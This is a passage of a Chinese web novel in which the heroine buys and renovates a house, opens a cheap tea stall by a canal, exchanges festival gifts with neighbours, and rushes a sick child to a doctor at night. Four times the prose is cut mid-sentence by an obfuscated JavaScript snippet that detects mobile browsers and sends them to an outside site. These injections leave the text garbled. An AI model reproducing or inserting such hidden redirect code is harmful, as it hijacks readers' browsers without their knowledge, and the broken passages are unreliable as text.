后面的地方确实不小,四间半正房坐北朝南,北面是邻居的院墙,东边、南边都是别人家的临街的铺子,西边出了一道门就是巷子,宅子自带的铺子在东、南两道街的转角,只有一间半大小。 细姑对这个宅子的格局很满意,但是对价钱不太满意,这家人要四百两——这一片平民街区,做不了大生意,这样的价钱的确是高了。 她跟张房牙说了自己的底线——三百三十两,多了不买。然后其他的都交给张房牙去谈,她自己是不管了。 也不知道张房牙怎么跟那家的主人磨的,四天后,房子磨下来了,就三百三十两,房牙的中人钱十二两,一家一半,重新立房契请衙门公人的钱六两,这个钱细姑自己出。 过户立房契的时候,房主人还一直絮叨道:“我的房子卖便宜了!卖便宜了!”一边说,一边时不时地看细姑一眼。 细姑板着一张脸,理都不理,理起来这个事儿今天指定没完! 等所有的事情都办完,细姑才把自己买了一处宅子的事情跟丽娘说了。 “你哪来的钱?”丽娘问她。 这不能说实话,都是些没办法解释的事情,只能假托了柳扇奴的名义,“我找柳姑娘借的,以后慢慢地还她。” “那你要那铺子做什么?” “卖茶!那边靠着惠民渠,撑船的多,我卖茶水!” “那你还不如卖酒呢,那些使力气的爱喝酒!” 细姑从来没想过要干和酒相关的营生,“我这个人不爱喝酒,酒量又不好,喝一点就想睡觉,而且那附近有卖酒的!” 细姑第一次带着丽娘和刘月儿去看宅子的时候,三个人呆住了——里面什么都没有了,空空如也。 上一家的主人觉得自己房子卖得太亏,除了门拆不了,把房子、铺子里面的东西能拿走的都拿走了。 什么也没给细姑留下——除了墙根下长出来的草。 宅子老旧,还需修缮,家具一样都没有,全都得重新添置。 细姑又忙活起来。 瓦片、房梁、柱子、窗子、门板,该换的换、该修的修,修完换完,重新刷漆,都刷桐油、清漆。 那刷漆匠建议细姑刷点红漆绿漆的,好看,细姑拒绝了。 没别的,就是周围都是平民百姓的铺子、摊子,大家用的都是青砖、木头,颜色都差不多,灰扑扑的,连不远处的城墙都是风化了的砖灰青,她做什么要跟别人不一样? 刷好漆还要把墙都用石灰粉一遍。 粉完墙,细姑想着再给土院子铺上一层砖,不然下雨天的时候,脚上踩来踩去的都是泥。 她第一次来的时候那双鞋子就是踩在泥水里,废了,怎么洗都洗不干净,成了泥黄色的。 丽娘拦住她,“你要开茶铺子就要用水,你准备每天去井口那儿来回几趟?” 是啊,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521997|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打口井。 城里生活每天用水颇为麻烦,有钱人家、道观、寺庙还好一些,都是只吃自己井里的水。普通百姓就难多了,一条巷子几十上百户人家就一两口井。 她们现在还住在泉布巷的宅子里面,每天就只能提着桶去几十丈外的公用水井打水。自己不想打也行,两文钱一桶,有人专门帮着打水送到家门口。 但是细姑从来不敢使这个钱、偷这个懒。 开茶铺子要打井,还要打一口甜水井,要打好井就得请牙人找好的打井师傅,得多给钱,还要管饭吃。 牙人找的是上一次的看房时的赵房牙,他的房牙铺子开在这一片,除了主要干房牙,还带着做一点别的,给细姑打井的尚家父子三个就是他帮着找来的,据说是家传的手艺,十分可靠。 尚师傅四十几岁,很瘦,皮肤跟刷了一层桐油一样。他大儿子跟他差不多,就是脸看着年轻些,小儿子明显刚开始做这个,嫩得像个小白鸡崽子。 他们父子几个做事的确十分可靠,和细姑说定了就开始找下井的地方,找到了就开始挖井,也不多说话。 就一样——他们嫌细姑做得饭食不大和胃口。 舍得放油、放盐,也舍得给肉、给饭,“但是就像是添油加盐拿白水煮出来的一样。”这是尚小二的原话。 细姑做饭的流程真就和他说得差不多,先用油炒过,半熟了加盐,盖盖子焖一会儿添水,她以前下班回家做挂面的时候就是这样,她觉得味道还可以。 但是尚家父子三个干的是重活,吃这样的饭菜根本受不住。 于是细姑做了一顿就不做了,请人家干活叫人吃得不好,她自己也没脸。她去丽娘做工的那家三娘食店每天买了饭菜回来。 三娘食店在惠民渠靠近珠市的柳桥埠头附近,店小不上档次,饭菜也多是猪下水、猪脑壳、时令菜蔬一类,但是油水大、味儿足,在埠头附近讨生活的脚夫、力工、船工都爱来这里吃。 尚家父子也喜欢三娘食店的饭菜。 这父子三人吃得满意了,给细姑打井就十分的用心,打出来的确实是一口甜水井,井沿拿石头砌了半人腿高的一圈井墙。 “你再请人按个手摇,有孩子怕掉下去,再请人编上一个井盖就行。”尚师傅临走的时候交代细姑。 院子里铺地砖之前,细姑又把屋子做了一点改变,本来这四间半房子只有从西边数第一间和第三间有个门。第三间是堂屋,东西连着第二间和第四间屋子。 现在细姑把这些全给改了,改的像书院里的学舍,四间房各有一个门,第三间还是做堂屋,摆上条案、八仙桌和椅子凳子,西边第二间给丽娘和刘月儿母女两个住,隔着堂屋,细姑住最东面的一间半。 这一间半失恋在一起的,外面的那间放柜子桌子,除此之外暂时还没有太多东西,显得有些空荡。外间到里面的半间要过一道帘子。里面半间东西更少,只有一张架子床和一个高脚凳,架子床上挂了细姑从柳扇奴那里讨来的青纱帐。 这次床与帐子的大小很合适。 家里布置好,细姑再给外面的铺子添上桌椅凳子,茶水间里置了炉子、茶壶、茶碗、茶叶…… 总之,零零碎碎的一堆。 一切都准备妥当,细姑的茶铺终于赶在七月初六、乞巧的前一天,开张了。 29. 第 29 章 惠民渠在宁州城西边,纵贯南北,且愈往南愈斜,快到南边水门这一段斜出了半条街,所以河道南边两侧的街道就叫斜街。 渠东边叫斜东街,西边叫斜西街。 细姑的铺子就在斜西街最后一间。 她本来想给铺子取名叫王婆茶铺,或者是王家茶肆,想一想又都觉得不好,没什么特色,招不来客人。 于是门口的幌子上就写了五个字:茶一文畅饮。清晰明了,就是卖一文钱一大碗的粗叶子茶的。 七月头,处暑刚过去,天气照热不误,每天从惠民渠南水门进进出出的大船小舟不断。 不论是撑船的还是打鱼的、或者是买、卖东西的,被太阳晒了半天都会口渴,渴了都要喝水。 这年代出门,想要喝口干净水可不容易。 细姑的茶铺开在城门口,生意就很不错,第一天下午刚过去一半,茶水就卖完了。此时离城门关闭还有两个时辰。 今天到此为止,她自己也要歇一歇,反正钱是挣不完的。 茶铺南边横着一条街,叫梭子街,梭子街北面是铺子,南边就是城墙,城墙根下一溜都是小摊,临时的、小一点的就铺张席子、铺块布,长久的、将就点的就支个摊子。 离着茶铺不远有一家卖鲜鱼面的,他家的鱼都是当天现杀的。 细姑早上喝了一碗粥,这会儿早饿了,于是点了一大碗鲜鱼面,拾掇一条凳子,就坐在茶肆门口吃面。 撑船路过的船工喊她:“老板娘,来碗茶!” 细姑回人家,“叫茶老板!这里没有老板娘,只有茶老板!” “好嘞,茶老板,来碗茶!” “茶卖完了!” “不早说!”船工要走。 “茶壶里有放凉的开水,不要钱,你喝不喝?” “给我来一碗!” 细姑吃完面把碗筷还给面摊,准备收拾收拾关门,早点休息。 她没有开铺子的经验,准备有些不足。 水要提前一天打好,用矾石沉淀,然后第二天早早起床,生火烧水,等大茶壶里的烧开,再把用粗布包起来的茶叶投进去,放凉,等待客人上门,再给人递茶碗,倒茶水,客人走了还要收拾桌椅、洗茶碗……如此循环不断,直至前一天准备的所有水卖完。 今天泡了一斤茶叶,卖了八九十碗茶水,都是细姑一个人干的,把她累得个仰倒! 但是当她坐在柜台里面,数钱的时候,疲惫稍去一二。 新的、旧的、污脏的、带着汗渍的……细姑一个个数了过去,数完了又“哗啦”一下全丢进了钱匣子里面。 八十一个铜板浅浅地铺了一层。 这都是她的钱! “店家!来两碗茶!”有客人来。 细姑赶紧收起钱匣子,站起身一看—— 嗯?怎么是这两个? 来的两位客人,一个三十岁上下,肩宽体厚,留着一蓬短须;一个二十来岁,劲瘦长挑。两个都是一个样式的穿着——头上戴着遮阳的斗笠,身上窄袖的褂子,裤子用绑腿绑了,脚上青黑的鞋子。 风尘仆仆,衣襟半湿。 瘦的那个细姑认识——沈宿,厚的那个细姑也认识,但是不知道名字。 细姑略过沈宿,先去招呼那个年长体厚的,“这位大哥,你还认不认识我?” 那人正摘下斗笠,闻言仔细看了看细姑,若有所思道:“店家认识我乔宽?” “二月头,在北边,太平门面摊那儿!”细姑提醒他,“想起来了没有?” 乔宽恍然大悟,随即笑起来,“是娘子你啊!” 他放下手中的斗笠,又道:“你到这里来了?曾家把铺子租给你了?” 这间铺子的上一家主人姓曾。 细姑笑着回他,“我前些日子买下来了,这个地方正合适开间茶铺子,是个养家糊口的好营生!” 就是太累了! “那很好啊!我就住在这条巷子里面!咱们以后是邻居!” “诶!” 沈宿看他二人说了好一会儿,那王娘子也没空理会他,便自顾自地摘下斗笠,找了个位置坐下,把话插在他二人中间,“乔三哥,你同王娘子认识?” 乔宽听了沈宿的话,回头看他,“王娘子?你同这位娘子也认识?” 沈宿回他,“我给王娘子送过一回信。”他有看向细姑,“王娘子,给我们两个倒碗茶来!” 细姑出了柜台,对着沈宿二人告了一声不是,“沈镖头、乔镖头,今天不巧,凉茶都买完了!” 主要是她也不想再去泡茶了,那么大一壶茶水,拎来拎去的,累得慌。而且这么热的天,大家都喝凉茶,谁喝热茶? “那给我们新泡一壶热的吧!要好茶!”沈宿道。 细姑闻言,心道:这人发什么疯,一身汗的,喝热茶! 她回道:“我这里的茶都是粗茶,十几二十文钱一斤的。” 这两人衣着体面,比来这里喝茶的船工脚夫看着可强多了,看样子收入不菲,一文钱的粗茶他们未必肯喝。 果然,就听沈宿道:“我看你门外招子上写的一文畅饮,你这里就只有一文钱的茶,旁的没有了?” 好茶自然是有的,但是那都是细姑包装好,打算这一两天拜访邻居赠礼用的,没办法给他。 “不好意思,没有!”细姑笑得非常抱歉。 乔宽有些可惜,他对着细姑道:“沈老二这人舌尖比针都细,不好的东西他不吃。” 细姑:那怪我喽? 她心里想得面上并不显露,还是笑,“我这儿第一天开张,准备的不够,叫你们白跑,是我的不是,要不这样,我后面茶水间里还有烧好的水,你们要是自己有茶叶,带壶水回去自己泡,你们看行不行?” 沈宿看着细姑,也没多想,点点头道:“也行!” 细姑从后面的茶水间里拎出一壶正在烧开的热水,递给沈宿,提醒他,“小心烫!” 沈宿留下两枚铜钱,随后单手接过水壶,“烦劳娘子!” 乔宽向细姑道一声:“水壶明日再还!” 二人离开。 细姑在二人走后,拈起沈宿留在桌上的两枚铜钱,往上一抛,接住,“嘿嘿!八十三!” 丽娘今日回来的比往常早一些。 她一见细姑,便满脸喜色地对细姑道:“大姐,我升了!” 细姑没听明白,“什么生了?你生什么了?怎么就生了你?” 丽娘今日的兴致很高,眉毛高高吊起,显得她的眼睛更大,重又白胖起来的脸上满是骄傲,“三娘子今日尝了我做的冷碟,觉得味道不错,她升我去做冷碟!月钱涨了两百,我以后每个月能拿八百文钱!” 细姑看着丽娘的情形就知道她是真高兴,于是正对着丽娘,拱手做小人状恭喜丽娘,“恭喜我们丽娘升了后厨!月钱大涨!”又拉上刘月儿,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526309|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快给你娘道喜,咱们娘俩以后可都靠着你娘吃饭了!” 刘月儿立马学着细姑,一大一小两个人在那里不断拱手点头,向丽娘道喜,逗得丽娘哈哈大笑。 丽娘大手一挥,“今晚我请你们两个吃顿好的!” 吃顿好的就是每人一碗鲜鱼面—— 鲜鱼面就鲜鱼吧,鱼肉鲜嫩,面条爽口,汤水鲜美,细姑挺能接受的,而且这一顿用了丽娘五十文钱。 让一向抠搜的丽娘掏出五十文钱请客,这顿面细姑说什么也得都它吃光了! 吃过饭,趁着太阳还未落细姑带着丽娘和刘月儿去拜访邻居。 茶铺周边的铺子,细姑重修宅子的时候已经一一拜访过了,这次是拜访同住一条巷子里面的邻居。 从院子西边的门出去,南北有一条巷子,叫苍石巷,名字很好听,其实就是因为从巷子里面一抬头就能看见城墙上苍青的砖石才叫了这个名字。 巷子短小,只有二三十户人家。 丽娘臂弯里挎着一只竹篮,带着女儿,跟在细姑的身后。 细姑在前面挨家挨户的敲门,报上自家姓名身份,再奉上自己第一次上门邻居门的见面礼,等对方再回以自家的身份,双方再客气一番,这家邻居就算拜访完毕。 一直到巷子尽头倒数第三家,细姑敲了门,来开门的人是沈宿。 细姑眼睛绕着大门周围转了一圈——这人住这里? “你来做什么?”沈宿问道,他记得水壶是明天还的。 细姑拿过丽娘手里的篮子给沈宿看,“我今日家人有空,正好一起来拜访邻居。” 她也不知道这大齐宁州府的人搬新居,会不会拜访四邻?但是礼多人不怪嘛,这总是没错的。 沈宿听了细姑的话,冲着身后喊了一句,“乔三,找你的!”说完抬起手里做菜用的勺子,又对细姑道:“我手里还有事情,少陪!” 沈宿走了,也没邀请细姑几个进去,她们等了一会儿,就见乔宽出来,身上穿了一件无袖的短褂子,头发也是湿的,显然刚才在洗澡。 他一上来便对细姑道歉,“王娘子,不好意思让你久等!” 细姑笑道:“无碍!无碍!怪我们上门的不是时候!”她又跟乔宽介绍,“我们这几日刚搬来,这是我的妹子——丁丽娘!这是我妹子的女儿——刘月儿!” 介绍到两人的时候,丽娘带着刘月儿给乔宽见礼。 看到丽娘,乔宽明显愣了一下,随即慌张地把没系上短褂子系好,然后回了一礼,“在下乔宽,家中排行第三,旁人都叫我乔三!” 丽娘笑道:“那我们叫你乔三哥!这是我女儿刘月儿!”丽娘拉过刘月儿,“叫乔三叔!” 刘月儿大大方方,“三叔好!” 乔宽的手不知道该往哪儿放,他看一眼自己的院子,“哎——我这儿地方乱,也没东西给孩子,你看着——” 乔三一个大男人独居在此,没东西招待孩子,十分过意不去。 细姑从篮里拿了一包茶叶出来,“乔三哥,这是一点茶叶,也不算好茶,只比我店里卖的好一些!”她把茶递给乔宽。 乔宽自然不要,“都是邻居,以后日子长着呢,王娘子你太客气了!” 天眼看要黑了,细姑可不跟他客气,把东西直塞到乔宽怀里,“我们还有两家邻居没拜,等下再说!” 说完也不等乔宽作反应,带着丽娘和刘月儿去访后面的两家。 30. 第 30 章 苍石巷走到底是死胡同。 最后两家,一家的男主人是个教书的秀才,姓余,另一家姓宋,是开豆腐作坊的。开豆腐作坊的这家收了细姑的上门礼,还了细姑一块豆腐。 拜访完所有邻居,细姑几个带着豆腐回去了。 路过乔家门口的时候,就听见沈宿在问乔宽:“他们刚才给你送了什么?” 还能什么?当然是好茶叶! 细姑不敢逗留,快步走了过去。 丽娘不明白细姑做什么突然加快脚步,刘月儿倒是开心得很,要跟细姑比谁跑得快,然后一马当先地跑到了细姑前头。 乔三的院子小,房舍只有两间,另外就是一间厨房、一间茅房。 桌子被摆在露天,沈宿正从厨房端了两样菜出来,一盘田螺,一盘油煎茄子,田螺不是好时候,茄子却正肥,并上桌子上的河鱼、烧鸭,正是四样下酒的好菜。 乔三把细姑给的茶叶拿回屋里收好,又拿了一坛子没开封的酒来。 沈宿问他,“他们刚才给你送了什么?” “茶叶!” “什么茶叶?” “王娘子说是好茶叶。” 沈宿听见外面几人的脚步声,将手里的两盘菜放下,对乔宽道:“什么样的好茶叶?拿给我瞧瞧。” 那王娘子明明说她店里没有好茶叶的。 乔宽也记得下午细姑说得店里没有好茶叶,他对沈宿道:“王娘子说只比她店里卖的好一些,你肯定也瞧不上!” “你哪来那么多话?快拿来我瞧瞧!”沈宿找了个凳儿坐下,不管乔宽,自己给自己倒酒。 乔宽又把茶叶拿了出来,递给沈宿。 沈宿接过来,没完全打开包着茶叶的纸,只开了一角,凑上去闻了闻——清香中微带一点苦涩,算不得上等好茶,但是泡给他喝,他也是喝的。 桌上一点油灯,火光时不时撩过沈宿的脸,他一时失笑,把茶叶包好,抛给乔宽,“人家给你的!千万收好!” 细姑几个回到新宅子里,刘月儿还是兴奋得不行,“大娘!大娘!快过来!我们来继续比试!” 细姑当时买这处宅院就是喜欢它的院子宽敞,现在和刘月儿两个在院子里面绕着圈小跑一下,完全不是问题。 丽娘就在一旁的井边洗衣服,她一边洗一边说:“大姐!明天乞巧,家里要买点瓜果什么的,咱们买什么?” 细姑停下来,“买什么?”她又把问题踢了回去,不过不是故意的,因为她以前只知道七夕情人节,谁知道这齐朝的乞巧节要怎么过? “咯吱——咯吱——”丽娘搓衣服的声音没停,“南边梭子街上,每天都有人摆摊卖瓜果,明天大姐你看着,有什么就买什么,只是别买多了,家里人少,吃不完。” “好!” 院子里不知道什么时候进了蟋蟀,这时代管这种虫子叫促织。 刘月儿叫这一跳一跳的小虫子给迷住,拿起油灯捉促织去了。 细姑在井边打水,家里就三个桶,一个桶要空下来留着备用,只有两个桶能用来沉淀打上来的井水。 拎着水桶到了茶水间,放下桶,细姑转着圈看了一遍。 没点灯,茶水间里黑黢黢的,但还是叫她找到了一小片空地——这里还缺两口水缸。 第二日,七月七,乞巧。 巧不巧的,细姑不感兴趣,她早上一开门就盯着来梭子街城墙根下摆摊卖瓜果的,裂了口的晚桃、长了黄斑的晚李、只有一点红的枣子、歪着瓜蒂的西瓜,星星点点满是麻子的梨,还有长得像牛角的菱角…… 细姑想吃菱角,只是这东西算水果? 不管了,买了再说。 她买了三样——西瓜、梨子和菱角,这些应该不算多。 据说七夕是牛郎织女在天上相会的日子,这两个也不知道是谁在哭,从一大早上起天就阴沉沉。 “也不知道天上的眼泪几时能落到人间来?”细姑拎着东西回了后厨。 天气阴沉,没有昨天热,茶水的生意倒是不怎么受影响。 在水上讨生活没有容易的,那些苦力人来细姑铺子里喝茶的时候还是一身的汗。一壶烧好的茶水还没来得及完全放凉,就卖光了。 流汗的人需要补一点盐——总是有人来喝茶问细姑要盐,她干脆把厨房里的盐罐拿出来,摆在柜台上,告诉来喝茶的人,“要盐的自己加!” “茶老板仁厚!”苦力们这样感谢她。 大齐的盐不贵,上好的青盐二十文一斤,普通百姓家里的粗盐也不过六七文一斤。 细姑摆出来的盐没人多拿,盐多了茶水又苦又咸,碰到粗大化不开的他们还得想办法弄碎了,几个人分一分。 “王娘子!” 客人走了,细姑擦桌子的时候听见有人叫她,回头一看,是乔宽。 “乔三哥,出门了?”细姑笑着问他。 “我马上出门,昨天收了你的茶叶,今天乞巧,给你们送点瓜果。”乔宽把一个小竹篮子放在门口的桌上。 细姑一看,是一嘟噜葡萄,圆圆的紫葡萄上附着一层白霜,“乔三哥,这也太贵重了!” 宁州府一带常有人在自家的院子里面种葡萄,一是好看,二是夏天遮个阴凉,但结得都是一般的葡萄,小而且时酸时甜。乔宽这串葡萄一看就是名种,价格不低。 乔宽旁边跟了沈宿,沈宿手里也提了一个果篮,里面也是葡萄,还有两个竹编的小笼子。笼子编的尤为精细,细姑忍不住多看了两眼。 “还有这个!”乔宽一笑,从沈宿的篮子里面又拿了两个小笼子出来,放到桌上,“这两个给孩子玩,装个促织玩,小孩儿都喜欢!” 沈宿不可思议地看着他,“你做什么拿我的?” “啊?这是沈镖头的!”乔宽是临时起意加的笼子,细姑也不好意思收。 乔宽冲她直摆手,“你拿着给孩子玩!”转身拉着沈宿就走,“我做的没你的好,你回去再编两个不就行了!” 临出门还转头对细姑道:“王娘子只管留下!” 一天下来细姑除了招呼客人,还要招呼来还礼的邻居。 乞巧是个还礼的好时候,邻居们还的礼五花八门,但大多都是一些应季的瓜果蔬菜,有的给了一把紫青眉豆,也有秋黄瓜、长丝瓜,撑船兼打鱼的牛大给了细姑两条手那么长的鱼。 细姑说:“吃不完!” 牛大回她:“吃不完的养在水里。” 细姑就在后厨找了个盆,把鱼养了起来。 下雨了。 雨下的有点大,路上没人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531833|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河里有船没人,铺子里只有几个摆摊的过来躲雨。 细姑趴在柜台里面,看看匣子里的铜钱——只有四五十个。 “今天是没什么生意了。”她叹气道。 “王娘子!”是巷子里的余秀才。 细姑招呼他,“夫子怎么过来了?” 余秀才收了伞,把腋下夹带的包裹拿了出来,“王娘子我看你这店里也没有点茶的水牌。” “我这里只卖一文钱的粗茶,要那东西做什么?”细姑怪道。 包裹一打开,里面是笔墨纸砚,余秀才继续道:“现在天热,你卖茶水,天冷了,你卖什么?” “还是茶水!” “那你就没生意了!” 细姑走到余秀才边上,余秀才个子不高,人有点胖,乍看像个账房先生,此时摊开纸,磨起墨来很像读书人那么回事。 他指点细姑,“你可以带着卖点热水。” “卖热水做什么?谁家要用不会自己烧的?” 余秀才的墨已经磨好了,他提起笔,“这片巷子都是吃饭才烧柴火,家里来个客人的再烧水,来不及,哪有来你这里买现成的快!王娘子,热水你准备卖多少钱?” 细姑明白了,回道:“两文钱一壶!” 她这里水壶大,两文钱一壶热水也不算贵。 余秀才点点头,提笔写了下来——热水两文一壶。 不仅写了热水两文钱一壶,细姑还让余秀才写了姜茶、红枣茶,这些天冷了可以卖,也是一文钱一碗。 余秀才的字好,又黑又大又板正。 细姑再三感谢,送走了余秀才,熬了点浆糊,踩着凳子把纸贴在白墙上,然后左看右看,对余秀才的这份回礼十分满意。 丽娘升了做冷碟,不用洗碗,回来的就要早一些,母女两个没带伞顶着小雨回来的。 “你们怎么买把伞?或者等雨停了再回来?”细姑给丽娘母女俩煮了姜汤,“回头受凉风寒可不是闹着玩的。” 丽娘换了身衣服,在做饭,她回细姑,“哪里就那么容易生病?” 晚饭吃鱼、吃豆腐。 吃过晚饭,雨已经停了,丽娘在房檐下摆了张桌子,桌子上有葡萄、梨子、几瓣西瓜和煮好的菱角,还有一碗水——这个是投针乞巧用的。 乞巧这天要先拜织女娘娘,不管看不看得见织女星都得拜。 细姑几个也没什么好讲究的,就跪在房檐下,拜了几拜。 拜完织女要丢巧针——就是把针丢在水里,谁的针能浮在水上,谁就得了巧针。 丽娘就能得巧针,她每回投的针总是浮在水上面,细姑就不行,刚开始还能浮一下,随后针就沉到碗底去了,试了几次都这样;刘月儿得了两个装促织的笼子,正稀罕,更不耐烦玩这个,她把针插水里,手一散,完事了,她还要去捉促织装到笼子里面。 丽娘骂她,“针线都拿不好,看以后哪个小子娶你?” 细姑替刘月儿争辩,“找个会用针线的男人不就行了?” “哪个男人拿针线的?” 细姑想一想,“没有男人做裁衣裳的?” 丽娘恨铁不成钢,“那都是绣娘干得!” 刘月儿才不管两个大人说什么,趴在地上,专心致志地捉她的促织。 31. 第 31 章 白天下过雨,夜里就凉快一些。 细姑睡得正好,迷迷糊糊间就听见有人在拍她的房门——“啪!啪!啪!” 又急又响。 “大姐!”丽娘的声音急切中带着一点哭腔。 丽娘怎么了? 细姑摸黑披了衣裳去开门。 外面的天没有月亮,黑的,细姑看不清楚丽娘的脸,“大姐,你快来看看!月儿!月儿她——” 刘月儿起烧了,这时代没有温度计,细姑只能凭经验去摸孩子的额头——滚烫! 小小的人儿手脚冰凉,身上滚烫,却一点汗也没有。 细姑借着油灯的一点光亮看着刘月儿——她的小脸都烫红了,眼睛紧闭,难受得一直磨着牙齿。 “什么时辰了?”她问丽娘。 “刚过四更。” 刚过四更就是后世凌晨一点。 “家里没药,时辰也还早,”刘月儿烧得这样严重,必不能这样在家中等待天亮,细姑立刻对丽娘道:“丽娘,你去给月儿把衣裳穿了,我去拿钱,咱们现在就带着她去找大夫!” 丽娘心乱如麻,“月儿从来身体好,没这样病过!都怪我!都怪我!” “丽娘!咱们不慌!快去找大夫!后悔的话以后再说!” 丽娘哭着应了。 这个点出门,街道上基本没人,打更的更夫看到细姑丽娘把月儿包成一团抱了出来,以为是贼人,把她们拦了下来。 等拿了灯笼一看,原来是个烧得迷糊的孩子,“你们知道去哪个医馆?” 细姑两个只知道泉布巷不远的地方有一家医馆。 “哎——抱着孩子去泉布巷,那得走多远!”打更的回她们,“从这儿往东去,宣正大街上有家和安堂,他家何老大夫看小儿最有名!你们快去!” 丽娘慌忙抱着刘月儿要走。 细姑赶忙给塞了一点碎银更夫,“更头大哥,我们对这一片不熟,麻烦您给带个路!” 更夫收了银子,四处看了看,“罢了,你们跟着我!我带你们快去快回!” 更夫有固定的巡更路线,轻易不能变道。 有熟悉南城这一片道路的更夫在前头打着灯带路,细姑几个走了没一刻,就到了。 和安堂医馆的门不知道为什么是半开的,门里有光,往里瞧一眼——一个很年轻的伙计趴在柜台上睡着了。 细姑让丽娘带着刘月儿先进去,自己在门口再三感谢地送走了更夫。 和安堂里,丽娘抱着刘月儿坐在凳上,时不时地摸摸女儿的额头,细姑走到柜台前,轻轻叫醒了伙计,“小哥,你这儿门开着,你家大夫呢?” 小哥睡眼惺忪地四处看了看,好一会儿才看到站在他面前的细姑,“你们是谁?怎么进来?” 这小哥睡得迷糊,旁人的话他一句也没听进去。 细姑不想跟他啰嗦,直接问他,“我家的孩子病了,来看病,你家大夫呢?” 小哥终于清醒了一些,看了看抱着孩子的丽娘,“这就是生病的孩子?” “你家何老大夫呢?” “被人叫出去看诊了!” “你家就这一个大夫?别的大夫有吗?” “小何大夫陪着妻子回娘家了!” 还真是不巧! 细姑又问小哥,“你家何老大夫去哪里?远吗?这附近除了你家,还有没有别的医馆?” 小哥回她,“这条街上有家义顺镖行,他家孩子夜里生病,何师父就是被他家叫去了!” 义顺镖行细姑知道,她继续问小哥,“走了有多久了?” “有一会儿了!” 细姑掏出银钱摆到柜台上,对小哥道:“小哥,麻烦你弄些热水来,让我家的孩子擦擦身子、降降热气,你要是有什么别的法子能把孩子的烧降下来也行,只要孩子没事,我必定重重感谢!”她把钱推了过去。 小哥没收,绕出柜台来到丽娘身边,他仔细看看刘月儿,“这孩子烧得这样厉害,我知道的法子能缓一时,过一会儿烧还得起。还是要师傅来扎针推穴才行!” 细姑道:“我知道义顺镖行在哪里,我去找何老大夫!小哥,你帮我妹子先把孩子的高热降下来些,否则再这样烧下去,孩子都要烧坏了!” “诶!”小哥应了下来 义顺镖行在和安堂南边,走不到半刻就到了。 细姑管不了半夜会不会打扰到别人,在大门处,拿巴掌猛力地拍门。 义顺镖行的大门又高又硬,细姑两手拍得生疼。 来开门的是沈宿。 沈宿手里提着灯笼,看到站在下首门阶的细姑,非常惊讶,“王娘子——” 细姑不等他往下说,直接道:“沈镖头,何老大夫是不是在你这里?” “是!”她家里也有人病了? “何老大夫什么时候能好?我家孩子烧得厉害,伙计说只有何大夫有法子能退下来!”细姑看着沈宿,声音非常的冷静,一种急切到底的冷静。 沈宿把门打开,“王娘子随我进来,何老大夫正在里面替我外甥扎针。” 他的外甥也病了? 细姑摇摇头,“我不进去了,就在外头等着,什么时候何大夫好了,你让他快些出来!” “好!”沈宿没多说,把灯笼递给了细姑,“你先用着,我进去看看。” 细姑没拒绝。 沈宿进去了,给细姑留了一道门缝。 细姑提着灯笼,在门口来回地踱步,时不时地往门缝里看一眼——这个何大夫怎么还没好? 这里没有手表,她只觉得时间过得尤其得慢,街道上一个人也没有,一阵吹过来的风、一声不知哪里来的虫鸣,都催着细姑的心跳又快了一点。 一下快过一下。 她急得想发疯! “噌——”、“哒——”、 “噌——”、“哒——”、 “噌——”、“哒——” 何老大夫终于出来了!细姑赶忙回门口等着。 门一开,她就看到了背着药箱、须发皆白的何老大夫。送何大夫出门的是沈掌柜。 何老大夫一见到细姑,就问她:“姓沈的小子说你家的孩子也烧得厉害?” 细姑忙上前回道:“是!我家孩子五岁,今天白天淋了雨,半夜烧了起来!这都烧了有一会儿了!现在就在您家的医馆里面,有个小哥帮忙看着。” “哦——”白胡子地何大夫不紧不慢地撸了一把胡子,对送他出门的沈掌柜道:“你家老二手法也算可以,我先回去看看这位娘子家的孩儿!” “您老快去!路上小心!” 细姑也忙对沈掌柜点点头,然后提着灯笼在前面引路,时不时回头看看老大夫——她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541928|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在恨不得这个大夫长着翅膀能快点飞回去! 看诊、开药、推穴、施针,何大夫虽然年纪大了,走路慢迟迟的,但是看起病来毫不含糊。 